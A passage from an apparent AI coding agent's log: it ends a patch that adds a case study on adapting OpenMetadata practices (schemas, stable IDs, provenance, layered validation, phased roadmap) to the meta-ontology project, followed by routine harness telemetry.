[OWL 2](https://www.w3.org/TR/owl2-overview/) | Import/export and ontology-tool interoperability |\\n+| Graph constraints | [SHACL](https://www.w3.org/TR/shacl12-core/) | Express portable graph validity rules |\\n+| Provenance | [PROV-O](https://www.w3.org/TR/prov-o/) | Map source, agent, derivation, and activity metadata |\\n+| Lineage events | [OpenLineage](https://openlineage.io/docs/spec/) | Future pipeline lineage interchange, not core concept storage |\\n+| Rust serialization | [`serde`](https://docs.rs/serde/latest/serde/) | Typed interchange models |\\n+| Rust JSON Schema | [`schemars`](https://docs.rs/schemars/latest/schemars/) | Generate JSON Schema from Rust types |\\n+| Schema validation | [`jsonschema`](https://docs.rs/jsonschema/latest/jsonschema/) | Validate imported/exported JSON |\\n+| Stable identifiers | [`uuid`](https://docs.rs/uuid/latest/uuid/) | UUID identity when content-derived IDs are unsuitable |\\n+| HTTP service | [`axum`](https://docs.rs/axum/latest/axum/) | Existing roadmap choice for M3 |\\n+| API description | [`utoipa`](https://docs.rs/utoipa/latest/utoipa/) | Generate OpenAPI from Rust endpoint types |\\n+| Embedded search | [`tantivy`](https://docs.rs/tantivy/latest/tantivy/) | Optional local full-text index before external search infrastructure |\\n+| Graph algorithms | [`petgraph`](https://docs.rs/petgraph/latest/petgraph/) | Cycle, reachability, and integrity analysis if custom traversal becomes costly |\\n+\\n+## Reproducibility notes\\n+\\n+- Documentation versions are included in URLs where the official site exposed a\\n+  stable version. `latest` links should be rechecked before implementation.\\n+- The compact JSON snapshots record mutable facts. Full upstream repository\\n+  contents are not vendored because that would add millions of unrelated files\\n+  and create licensing/update noise.\\n+- Recommendations are reasoned adaptations to the current repository; they are\\n+  not claims that OpenMetadata implements the exact proposed Rust design.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\\n+# Deep Analysis: What Meta-Ontology Should Learn from OpenMetadata\\n+\\n+## Context and limits\\n+\\n+OpenMetadata solves enterprise metadata discovery, ingestion, governance,\\n+lineage, quality, and collaboration. Meta-ontology currently loads a small lino\\n+graph into an in-memory Rust library and exposes it through a CLI. Their shared\\n+domain is metadata graphs; their scale, product scope, and operational needs are\\n+not comparable.\\n+\\n+Accordingly, this analysis extracts invariants and interfaces. It rejects\\n+technology copying where the problem is absent.\\n+\\n+## 1. Canonical schema as the center of the system\\n+\\n+OpenMetadata defines entities and types in language-neutral schemas and derives\\n+models used by server, ingestion, and UI layers. This prevents three subtly\\n+different definitions of the same entity.\\n+\\n+Meta-ontology already has Rust structs plus conventions embedded in lino. The\\n+risk is that conventions such as tuple position, mapping kind, language, or\\n+definition source evolve without a machine-checkable contract.\\n+\\n+### Adaptation\\n+\\n+- Declare a `schema_version` for the dataset and interchange representation.\\n+- Keep one authoritative Rust domain model.\\n+- Derive a JSON Schema interchange contract from it, or check a hand-maintained\\n+  schema against generated fixtures.\\n+- Validate lino-to-model normalization independently of parser success.\\n+- Reject unknown fields only at stable boundaries; provide migrations when a\\n+  stored format changes.\\n+\\n+JSON is an interchange format here, not a replacement for Links Notation.\\n+\\n+## 2. Identity, names, and references\\n+\\n+Metadata systems must distinguish machine identity, fully qualified names,\\n+display names, and aliases. A graph that uses a mutable label as identity makes\\n+rename operations destructive.\\n+\\n+### Adaptation\\n+\\n+Add an opaque `ConceptId` and make names indexed attributes. Define uniqueness,\\n+normalization, alias, deprecation, and redirect rules. A mapping or definition\\n+references the ID; CLI lookup may accept a canonical name or alias. Initially,\\n+IDs can be explicitly stored strings. UUIDs are useful only if decentralized\\n+creation makes coordinated human-readable IDs unsafe.\\n+\\n+### Required invariants\\n+\\n+- IDs are unique and immutable.\\n+- A canonical name is unique within its namespace and language rules.\\n+- Every edge endpoint resolves.\\n+- Alias chains terminate and cannot fork ambiguously.\\n+- Removing a referenced concept requires an explicit migration or tombstone.\\n+\\n+## 3. Typed relationships and graph integrity\\n+\\n+OpenMetadata treats lineage, ownership, classification, glossary association,\\n+and containment as relationships with meaning, rather than arbitrary strings.\\n+Meta-ontology needs the same discipline on a much smaller scale.\\n+\\n+### Adaptation\\n+\\n+Define a relation registry containing at least:\\n+\\n+- relation ID and canonical name;\\n+- source and target concept categories;\\n+- cardinality;\\n+- inverse, symmetry, and transitivity declarations where meaningful;\\n+- lifecycle state and provenance.\\n+\\n+Do not infer logical properties from English labels. Validation should report\\n+the source file and record for dangling endpoints, invalid cardinality, and\\n+forbidden relation types. Cycles remain legal\u2014the ontology is intentionally a\\n+graph\u2014but selected acyclic relations such as alias redirects can be checked.\\n+\\n+## 4. Provenance, versioning, and change events\\n+\\n+OpenMetadata preserves entity versions and uses source fingerprints to avoid\\n+unnecessary ingestion updates. Both ideas transfer well.\\n+\\n+### Adaptation\\n+\\n+Each imported assertion should be able to carry:\\n+\\n+- source URI or source document;\\n+- source record/version and retrieval time;\\n+- creating agent (human, connector, or migration);\\n+- confidence or review state when the assertion is inferred;\\n+- license/usage note for externally sourced descriptions;\\n+- deterministic content fingerprint.\\n+\\n+The loader can compare fingerprints and produce `Created`, `Updated`,\\n+`Unchanged`, `Deprecated`, and `Rejected` records. Start with newline-delimited\\n+JSON written by an explicit command. A database event table, webhook, or broker\\n+is unnecessary until another process consumes events.\\n+\\n+This also supports reproducible case studies: a claim can point to its source\\n+and the exact import decision.\\n+\\n+## 5. Ingestion as a normalized pipeline\\n+\\n+OpenMetadata connector code separates source extraction from normalized entity\\n+publication and uses a declarative topology for parent/child traversal.\\n+\\n+### Adaptation\\n+\\n+Use small Rust interfaces:\\n+\\n+```text\\n+Source -> RawRecord -> Normalizer -> CandidateAssertion\\n+       -> Validator -> OntologyChange -> Sink/Report\\n+```\\n+\\n+The first implementation should be a fixture connector, not a large catalog.\\n+It must demonstrate discovery, normalization, dry-run, idempotency,\\n+checkpointing, structured errors, provenance, and a second unchanged run.\\n+\\n+Connector capability declarations should state which entity/relation kinds are\\n+supported. Configuration must be typed, secrets must not appear in reports, and\\n+partial failures must not silently create a partially valid graph.\\n+\\n+## 6. Layered quality and observability\\n+\\n+OpenMetadata separates reusable test definitions, applications of those tests,\\n+suites, executions, and results. Meta-ontology can adopt that conceptual model\\n+without building a scheduler or UI.\\n+\\n+### Layers\\n+\\n+1. **Syntax:** lino parses.\\n+2. **Shape:** records conform to the versioned model.\\n+3. **Referential integrity:** IDs and relation endpoints resolve.\\n+4. **Semantic constraints:** cardinality, relation domain/range, alias rules,\\n+   required definition/language coverage.\\n+5. **Quality policy:** provenance, ownership, review status, mapping coverage,\\n+   duplicate/suspicious definitions.\\n+6. **Repository policy:** files format, tests pass, word coverage, size limits.\\n+\\n+Return stable diagnostic codes with file/record locations. Produce a JSON report\\n+for CI in addition to human output. Trend history and alert routing should wait\\n+until repeated scheduled validation exists.\\n+\\n+## 7. Governance belongs in the model\\n+\\n+OpenMetadata models ownership, glossaries, classifications, domains, policies,\\n+and lifecycle status. For meta-ontology, the immediate value is accountability\\n+and explainability, not enterprise access control.\\n+\\n+### Adaptation\\n+\\n+- Add optional owner/steward references at dataset, namespace, and concept level.\\n+- Define lifecycle values such as `draft`, `reviewed`, `stable`, `deprecated`.\\n+- Separate descriptive classification from security policy.\\n+- Let policies refer to metadata attributes so the future service can evaluate\\n+  actor + resource + operation.\\n+- Record review decisions as provenance rather than overwriting history.\\n+\\n+Authentication and authorization enforcement belongs at the future HTTP/API\\n+boundary. The library should expose policy-relevant attributes without deciding\\n+who the current user is.\\n+\\n+## 8. API and client boundaries\\n+\\n+OpenMetadata's schema-first REST API demonstrates the value of consistent\\n+resource naming and shared types. Meta-ontology's M3 service should not expose\\n+internal loader structs directly.\\n+\\n+### Proposed resources\\n+\\n+- `/api/v1/concepts` and `/api/v1/concepts/{id}`;\\n+- `/api/v1/relations` and graph traversal endpoints;\\n+- `/api/v1/definitions`, `/mappings`, and `/languages`;\\n+- `/api/v1/validation-runs` and `/changes`;\\n+- explicit import/export endpoints with dry-run support.\\n+\\n+Use cursor pagination, sparse field selection only when needed, structured\\n+errors, ETags for optimistic concurrency, and OpenAPI generation. Defer JSON\\n+Patch until partial updates and conflict semantics are fully specified.\\n+\\n+## 9. Search and discovery\\n+\\n+OpenMetadata uses dedicated indexing because it serves a large, heterogeneous\\n+catalog. The current ontology can search normalized in-memory fields.\\n+\\n+Define a `SearchIndex` interface only after search semantics are specified:\\n+exact ID/name, alias, language-aware text, relation filters, and ranking. A\\n+linear implementation is the correct baseline. Tantivy is a plausible embedded\\n+step if benchmarks show a need; an external cluster is not.\\n+\\n+## 10. Security and operations\\n+\\n+OpenMetadata documents authentication, authorization, secrets, upgrades,\\n+backups, and production deployment. These are reminders that a service boundary\\n+creates obligations.\\n+\\n+Before M3 is production-ready, specify:\\n+\\n+- read-only versus mutation endpoints;\\n+- authentication and authorization model;\\n+- request limits and payload limits;\\n+- secret handling for connectors;\\n+- audit/change retention;\\n+- schema/data migration and backup/restore procedures;\\n+- health, readiness, metrics, and structured logging;\\n+- threat tests for malformed graphs and expensive traversal.\\n+\\n+None of this requires adopting OpenMetadata's deployment topology today.\\n+\\n+## Risks and countermeasures\\n+\\n+| Risk | Countermeasure |\\n+| --- | --- |\\n+| Architecture astronautics | Require a measured use case and acceptance test for each infrastructure dependency |\\n+| Two canonical models (lino and JSON) | Define lino as storage syntax and Rust model as semantic authority; JSON is generated interchange |\\n+| Breaking old datasets | Version schemas and test migration fixtures |\\n+| Mutable names break links | Introduce stable IDs before importers or APIs |\\n+| Connector-specific core fields | Normalize behind a narrow candidate-assertion contract |\\n+| Unverifiable external claims | Require provenance and license metadata |\\n+| Quality rules become one opaque command | Layer checks and stable diagnostic codes |\\n+| Enterprise governance overwhelms MVP | Start with owner, lifecycle, provenance, and review status |\\n+| Search stack adds operations burden | Benchmark linear search; use embedded indexing before external services |\\n+| Upstream practices change | Pin source/version/date and re-evaluate at implementation time |\\n+\\n+## Recommended outcome\\n+\\n+The durable OpenMetadata lesson is contract coherence: schemas, ingestion,\\n+service APIs, governance, versioning, quality, and clients describe the same\\n+entities. Meta-ontology should build that coherence in-process first. A clean\\n+modular monolith can later move selected interfaces across process boundaries\\n+without redesigning the ontology.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\\n+# Requirements, Solutions, and Implementation Plan\\n+\\n+## Requirement derivation\\n+\\n+Issue 5 names OpenMetadata in its title and uses the repository's standard case\\n+study instruction body. The explicit requirements are R1-R6. R7-R10 are implied\\n+by \u201cuse best practices\u201d and by making the output reviewable and actionable.\\n+\\n+## Complete requirement list\\n+\\n+| ID | Requirement | Evidence | Delivered here |\\n+| --- | --- | --- | --- |\\n+| R1 | Collect issue-related data under `docs/case-studies/issue-5` | Issue body | Source inventory and compact snapshots |\\n+| R2 | Perform a deep case-study analysis | Issue body | Architectural comparison, adaptations, risks |\\n+| R3 | Search online for additional facts and data | Issue body | Versioned official docs, upstream source, standards |\\n+| R4 | List every requirement from the issue | Issue body | This table |\\n+| R5 | Propose possible solutions and a plan for each requirement | Issue body | Requirement dispositions and phased plan below |\\n+| R6 | Check existing components/libraries that solve or assist each solution | Issue body | Standards/component evaluation in source inventory and below |\\n+| R7 | Identify OpenMetadata practices suitable for meta-ontology | Issue title | Ten practice areas with fit decisions |\\n+| R8 | Avoid adopting unsuitable complexity | \u201cbest practices\u201d requires contextual judgment | Explicit deferrals and decision gates |\\n+| R9 | Make recommendations verifiable | Deep analysis requirement | Acceptance tests, provenance, pinned sources |\\n+| R10 | Complete planning and execution in one PR | Issue body | All research artifacts are in PR 6 |\\n+\\n+## Solutions by requirement\\n+\\n+### R1: collect data\\n+\\n+**Options:** vendor the upstream repository; save complete API dumps; or preserve\\n+a curated, time-stamped evidence set with primary links.\\n+\\n+**Decision:** curated evidence. Vendoring a multi-gigabyte, Apache-licensed\\n+repository would be noisy and stale quickly. Full GitHub API payloads contain\\n+mostly transport metadata. The snapshots preserve the mutable facts needed to\\n+reproduce this analysis, while the inventory points to exact upstream areas.\\n+\\n+**Verification:** every local artifact named in the case-study README exists;\\n+mutable observations include an observation date; empty comment/review streams\\n+are recorded.\\n+\\n+### R2 and R7: deep analysis of applicable practices\\n+\\n+**Options:** feature checklist, technology-stack comparison, or domain-boundary\\n+analysis.\\n+\\n+**Decision:** domain-boundary analysis. It explains how schema, identity,\\n+relationships, provenance, ingestion, validation, governance, API, search, and\\n+operations affect this repository and explicitly states what not to copy.\\n+\\n+**Verification:** each practice has current-state context, an adaptation, and\\n+either an implementation slice or a deferral criterion.\\n+\\n+### R3: online research\\n+\\n+**Options:** secondary articles, current official docs, or source-only review.\\n+\\n+**Decision:** combine official versioned documentation with the upstream source\\n+tree and recognized standards. This gives design explanation plus inspectable\\n+implementation boundaries. Secondary claims are unnecessary.\\n+\\n+**Verification:** sources are primary, linked, access-dated, and separated from\\n+recommendations. Time-sensitive facts are not treated as permanent.\\n+\\n+### R4: enumerate requirements\\n+\\n+**Decision:** assign stable IDs to explicit and implied requirements. This avoids\\n+mistaking a long architectural summary for issue completion.\\n+\\n+**Verification:** every phrase in the issue body maps to R1-R6; the title's\\n+\u201cbest practices\u201d goal maps to R7-R9; single-PR completion maps to R10.\\n+\\n+### R5: solutions and plans\\n+\\n+**Decision:** use thin vertical slices, each ending in data fixtures, library\\n+behavior, CLI behavior, diagnostics, and tests. Avoid a \u201cplatform rewrite\u201d plan.\\n+\\n+**Verification:** the phased plan below has dependencies, acceptance criteria,\\n+and stop/go gates.\\n+\\n+### R6: components and libraries\\n+\\n+**Decision:** prefer standards and focused Rust crates over an OpenMetadata\\n+runtime dependency. OpenMetadata can interoperate later via JSON/RDF/OpenLineage\\n+or a purpose-built connector.\\n+\\n+| Capability | Build/adopt decision | Candidate |\\n+| --- | --- | --- |\\n+| Typed serialization | Adopt | `serde` |\\n+| JSON Schema generation | Prototype and compare generated diff in CI | `schemars` |\\n+| JSON Schema validation | Adopt at interchange boundary | `jsonschema` |\\n+| Stable opaque IDs | Start with explicit IDs; use crate if UUIDs chosen | `uuid` |\\n+| Graph algorithms | Keep current code until complexity warrants dependency | `petgraph` |\\n+| RDF/OWL exchange | Design mapping first; evaluate maintained Rust libraries with fixtures | W3C RDF/OWL |\\n+| Provenance vocabulary | Map internal provenance fields | PROV-O |\\n+| Constraint exchange | Export selected rules later | SHACL |\\n+| HTTP API | Use existing roadmap selection | `axum` |\\n+| OpenAPI | Generate from endpoint/model types | `utoipa` |\\n+| Search | Linear baseline, then benchmark embedded option | `tantivy` |\\n+| Pipeline lineage | Interoperate only when pipeline entities exist | OpenLineage |\\n+\\n+Crates must be re-evaluated for maintenance, license, MSRV, WASM compatibility,\\n+and dependency footprint when their slice begins. Listing one is not approval to\\n+add it.\\n+\\n+### R8: control complexity\\n+\\n+**Decision:** use decision gates:\\n+\\n+- no database until persistence, concurrency, or corpus size requires it;\\n+- no search service until a benchmark fails an agreed latency target;\\n+- no scheduler until at least two recurring connectors exist;\\n+- no distributed components until independent scaling or availability is a\\n+  documented requirement;\\n+- no authorization engine until mutations cross a service boundary.\\n+\\n+### R9: verifiability\\n+\\n+**Decision:** each implementation slice starts with fixtures and failing tests.\\n+All imports expose provenance and a dry-run report. Diagnostics have stable\\n+codes. Benchmarks, not analogy, trigger infrastructure.\\n+\\n+### R10: single-PR execution\\n+\\n+**Decision:** PR 6 contains the complete research deliverable and future plans.\\n+The product slices remain separately reviewable future work because implementing\\n+all of OpenMetadata's capabilities would violate R8 and the issue asks for\\n+solution proposals/plans, not a platform rewrite.\\n+\\n+## Prioritized implementation roadmap\\n+\\n+### Phase 0: accept this architecture record\\n+\\n+Deliverables:\\n+\\n+- this case study and source inventory;\\n+- explicit decisions and deferrals;\\n+- tracked follow-up issues for approved phases.\\n+\\n+Acceptance: documentation links pass; local CI passes; reviewers can trace each\\n+requirement to a delivered artifact.\\n+\\n+### Phase 1: versioned identity and validation\\n+\\n+Dependencies: none.\\n+\\n+1. Add failing fixtures for duplicate IDs, dangling edges, invalid relation\\n+   domain/range, ambiguous aliases, and unsupported schema versions.\\n+2. Introduce `ConceptId`, dataset `schema_version`, lifecycle state, and source\\n+   location without changing CLI display behavior.\\n+3. Add layered validators and stable diagnostic codes.\\n+4. Add `validate --format human|json` and golden reports.\\n+5. Provide a migration for current lino fixtures.\\n+\\n+Acceptance:\\n+\\n+- all current data migrates without semantic loss;\\n+- invalid fixtures fail at the intended validation layer;\\n+- a rename preserves ID-based references;\\n+- CLI output remains backward compatible unless explicitly versioned.\\n+\\n+### Phase 2: provenance and deterministic changes\\n+\\n+Dependencies: Phase 1.\\n+\\n+1. Model source URI/document, agent, time, review state, license note, and\\n+   content fingerprint.\\n+2. Test create/update/unchanged/deprecate decisions before implementation.\\n+3. Add dry-run diff and newline-delimited JSON change export.\\n+4. Ensure identical imports are idempotent and deterministic.\\n+\\n+Acceptance: importing the same fixture twice produces zero updates on the\\n+second run; every changed assertion points to source evidence.\\n+\\n+### Phase 3: one connector contract\\n+\\n+Dependencies: Phases 1-2.\\n+\\n+1. Define typed source configuration, capability declaration, checkpoint, raw\\n+   record, normalized candidate, and structured error contracts.\\n+2. Build one fixture-backed connector end to end.\\n+3. Test partial failures, secret redaction, retry classification, dry run, and\\n+   resume behavior.\\n+4. Document how a second connector would be added without core-model changes.\\n+\\n+Acceptance: two unchanged runs are idempotent; invalid records are quarantined\\n+with evidence; no source-specific field enters the core model without a general\\n+domain reason.\\n+\\n+### Phase 4: interchange\\n+\\n+Dependencies: Phase 1; provenance fields from Phase 2 recommended.\\n+\\n+1. Generate or maintain JSON Schema for the stable public model.\\n+2. Add JSON import/export round-trip fixtures.\\n+3. Map a deliberately small RDF/OWL/PROV-O subset and publish loss reports.\\n+4. Evaluate SHACL export for constraints; do not claim lossless round trips\\n+   until tests prove them.\\n+\\n+Acceptance: schema validation runs in CI; JSON round trips preserve IDs and\\n+relationships; semantic exports declare unsupported/lossy fields.\\n+\\n+### Phase 5: service API (existing roadmap M3)\\n+\\n+Dependencies: stable Phases 1-4 contracts.\\n+\\n+1. Specify OpenAPI and error/pagination/concurrency conventions first.\\n+2. Implement read-only resources in `axum` over the library.\\n+3. Add mutation/import endpoints only with authentication, authorization,\\n+   limits, audit changes, and threat tests.\\n+4. Add health/readiness, structured logs, metrics, backup, and migration docs.\\n+\\n+Acceptance: generated client contract tests pass; malformed/expensive requests\\n+are bounded; library, CLI, and API return semantically consistent entities.\\n+\\n+### Phase 6: search and UI (existing roadmap M4)\\n+\\n+Dependencies: representative corpus and measured UX needs.\\n+\\n+1. Specify query semantics and benchmark linear search.\\n+2. Add a `SearchIndex` abstraction only if needed.\\n+3. Evaluate Tantivy if the baseline misses the target.\\n+4. Build UI against the public API/model, including provenance and validation\\n+   state rather than hiding them.\\n+\\n+Acceptance: a recorded benchmark justifies any new index; search relevance has\\n+golden queries; the UI has browser tests and accessibility checks.\\n+\\n+### Phase 7: governance enforcement and operations\\n+\\n+Dependencies: mutating service and real multi-user requirements.\\n+\\n+1. Turn owner, lifecycle, classification, and policy references into evaluated\\n+   actor/resource/operation rules.\\n+2. Add audit retention and policy decision tests.\\n+3. Add connector scheduling only when recurring jobs require it.\\n+4. Document upgrades, restore drills, incident response, and supported versions.\\n+\\n+Acceptance: deny/allow tests cover every mutation class; restore drills recover\\n+data and history; operational objectives are explicit.\\n+\\n+## Cross-cutting test strategy\\n+\\n+- Unit tests: IDs, normalization, fingerprints, rules, diagnostic codes.\\n+- Property tests: parser/serializer round trips and arbitrary graph safety.\\n+- Golden fixtures: version migrations, import reports, API schemas.\\n+- Integration tests: source-to-normalized-to-validated-to-change pipeline.\\n+- Compatibility tests: old lino data and public CLI behavior.\\n+- Security tests: payload limits, traversal bounds, secret redaction, policy.\\n+- Benchmarks: loader, validation, traversal, and search before optimization.\\n+- WASM tests: dependencies and public types compile for the M4 target.\\n+\\n+## Final recommendation\\n+\\n+Approve Phases 1 and 2 as the first product follow-up. They create the stable\\n+identity, validation, and evidence foundation required by every later practice.\\n+Do not begin with connectors, HTTP, search, or deployment infrastructure: doing\\n+so would freeze weak contracts behind expensive boundaries.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"url\\\": \\\"https://github.com/link-foundation/meta-ontology/issues/5\\\",\\n+  \\\"number\\\": 5,\\n+  \\\"state\\\": \\\"OPEN\\\",\\n+  \\\"title\\\": \\\"We should use best practices from https://github.com/open-metadata/OpenMetadata\\\",\\n+  \\\"labels\\\": [\\\"documentation\\\", \\\"enhancement\\\"],\\n+  \\\"comment_count\\\": 0,\\n+  \\\"requirements_from_body\\\": [\\n+    \\\"Collect issue-related data under docs/case-studies/issue-{id}.\\\",\\n+    \\\"Perform deep case study analysis and search online for additional facts and data.\\\",\\n+    \\\"List every requirement from the issue.\\\",\\n+    \\\"Propose solutions and solution plans for every requirement.\\\",\\n+    \\\"Check existing components and libraries that solve similar problems or can help.\\\",\\n+    \\\"Plan and execute the complete deliverable in one pull request.\\\"\\n+  ]\\n+}\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"meta_ontology\\\": {\\n+    \\\"repository\\\": \\\"link-foundation/meta-ontology\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"default_branch_commit\\\": \\\"04e732e\\\",\\n+    \\\"prepared_branch\\\": \\\"issue-5-e2602184e2c5\\\",\\n+    \\\"pull_request\\\": 6,\\n+    \\\"pull_request_state_at_collection\\\": \\\"OPEN_DRAFT\\\",\\n+    \\\"issue_comments\\\": 0,\\n+    \\\"pull_request_conversation_comments\\\": 0,\\n+    \\\"pull_request_inline_comments\\\": 0,\\n+    \\\"pull_request_reviews\\\": 0\\n+  },\\n+  \\\"openmetadata\\\": {\\n+    \\\"repository\\\": \\\"open-metadata/OpenMetadata\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"license_spdx\\\": \\\"Apache-2.0\\\",\\n+    \\\"latest_github_release\\\": \\\"1.13.1-release\\\",\\n+    \\\"latest_release_published_at\\\": \\\"2026-06-27T11:35:50Z\\\",\\n+    \\\"relevant_top_level_areas\\\": [\\n+      \\\"openmetadata-spec\\\",\\n+      \\\"openmetadata-service\\\",\\n+      \\\"ingestion\\\",\\n+      \\\"openmetadata-ui\\\",\\n+      \\\"openmetadata-clients\\\",\\n+      \\\"openmetadata-dist\\\",\\n+      \\\"docker\\\"\\n+    ]\\n+  },\\n+  \\\"notes\\\": [\\n+    \\\"Counts and latest-release facts are time-sensitive and must be rechecked before implementation.\\\",\\n+    \\\"No upstream source files are copied into this repository; primary links and derived observations are preserved instead.\\\"\\n+  ]\\n+}\\n*** Add File: /tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\\n+---\\n+bump: patch\\n+---\\n+\\n+### Added\\n+\\n+- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\\n+  preserves research observations, inventories reusable standards and Rust\\n+  components, and provides a phased implementation plan.\\n*** End Patch\";\n[2026-07-12T04:06:07.482Z] [INFO] text(await tools.apply_patch(patch));\n[2026-07-12T04:06:07.482Z] [INFO]  duration_ms=673 success=true output=Script completed\n[2026-07-12T04:06:07.482Z] [INFO] Wall time 0.6 seconds\n[2026-07-12T04:06:07.482Z] [INFO] Output:\n[2026-07-12T04:06:07.482Z] [INFO] \n[2026-07-12T04:06:07.482Z] [INFO] {} mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:07.411Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.482Z] [INFO] 2026-07-12T04:06:07.411748Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_DEIkknavGwraQTaK8nJaBIzd duration_ms=673 success=true arguments_length=39812 output_length=50 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:07.411Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.482Z] [INFO] 2026-07-12T04:06:07.412268Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_DEIkknavGwraQTaK8nJaBIzd tool_source=\"direct\" execution_started=true dispatch_duration_ms=2 handler_duration_ms=674 total_duration_ms=676\n[2026-07-12T04:06:07.482Z] [INFO] 2026-07-12T04:06:07.418613Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:06:07.482Z] [INFO] \n[2026-07-12T04:06:07.501Z] [INFO] 2026-07-12T04:06:07.485737Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:06:07.501Z] [INFO] \n[2026-07-12T04:06:07.507Z] [INFO] 2026-07-12T04:06:07.495251Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:06:07.507Z] [INFO] 2026-07-12T04:06:07.497988Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:07.497Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.507Z] [INFO] 2026-07-12T04:06:07.498068Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:07.498Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.507Z] [INFO] 2026-07-12T04:06:07.498099Z  INFO 